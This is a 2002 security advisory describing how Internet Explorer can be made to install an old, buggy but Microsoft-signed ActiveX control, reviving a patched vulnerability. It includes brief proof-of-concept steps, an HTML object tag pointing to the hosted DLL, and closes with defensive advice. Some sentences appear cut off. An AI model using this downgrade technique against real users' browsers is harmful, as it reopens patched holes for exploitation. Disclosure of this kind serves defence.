Digitally signing buggy ActiveX components (version 2.0)
In the news
| Digitally signing
Version 1.0 is available here
Date: 14 February 2002
Updated: 6 May 2002 (Updated Proof of Concept)
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Back in 1999 Juan Carlos Garcia Cuartango <cuartangojc@MX3.REDESTB.ES>
excellent point at:
3- Even if Microsoft fixes the hole the hole could exist forever. Why ?
As far as I know this is the first time a hole is "SIGNED".
MS has released an "dhtmed.cab" file as an ActiveX component signed by
Here is more on this.
ActiveX in internet explorer allows downloading from the web and installing
signed components (native code) on the user computer.
As history shows a lot of ActiveX components are buggy and new version is
released. The interesting part is the buggy version is still really signed
available in one form or another.
A pure hypothethical scenario is to try to install the old buggy signed
if the user don't have it or on top of the patched one.
Basically this is done this way:
Proof of concept:
So it turned exploitable on my poor windows box.
You need outlctl.dll version 10.0.2616.0 (Signed by microsoft)
It is distributed with the original (not patched) Office XP, so you may
it from a *clean* install of Office XP.
For some reasons I keep it still.
Microsoft distributed the same buggy control in a CAB on their site but
(un)fortunately it is no longer available there, but the CDs still have
Place outlctl.dll on an accessible web server, say http://msux/outlctl.dll.
Place the following in html file ("<" and ">" changed to "[" "]" to
[object id="o1" codebase='http://msux/outlctl.dll'
[param name="folder" value="Inbox"]
The expected result is to see a box saying
"do you want to install some warez? They are really signed by microsoft
according to the dialog verisign can confirm they are signed by them".
(the buggy warez is really signed by microsoft) and nothing more
If the user chooses "yes" or has chosed always to trust warez signed by
starts working again.
So, I wonder whether doing such mischief may lead to old exploits start
(Updated: now I know, it works)
Anyway, to prevent such stuff, in internet explorer security options
disable everything that contains "active".
Or at least if you see a prompt "...This is digitally signed by X..."
think do you really trust X having in mind his security record.
Reapply the microsoft patch after trying the demo.
Don't ever chose "Always trust them".
| Home | Internet Explorer
| Windows 2000 | AIX
| Netscape | Greets
| More... |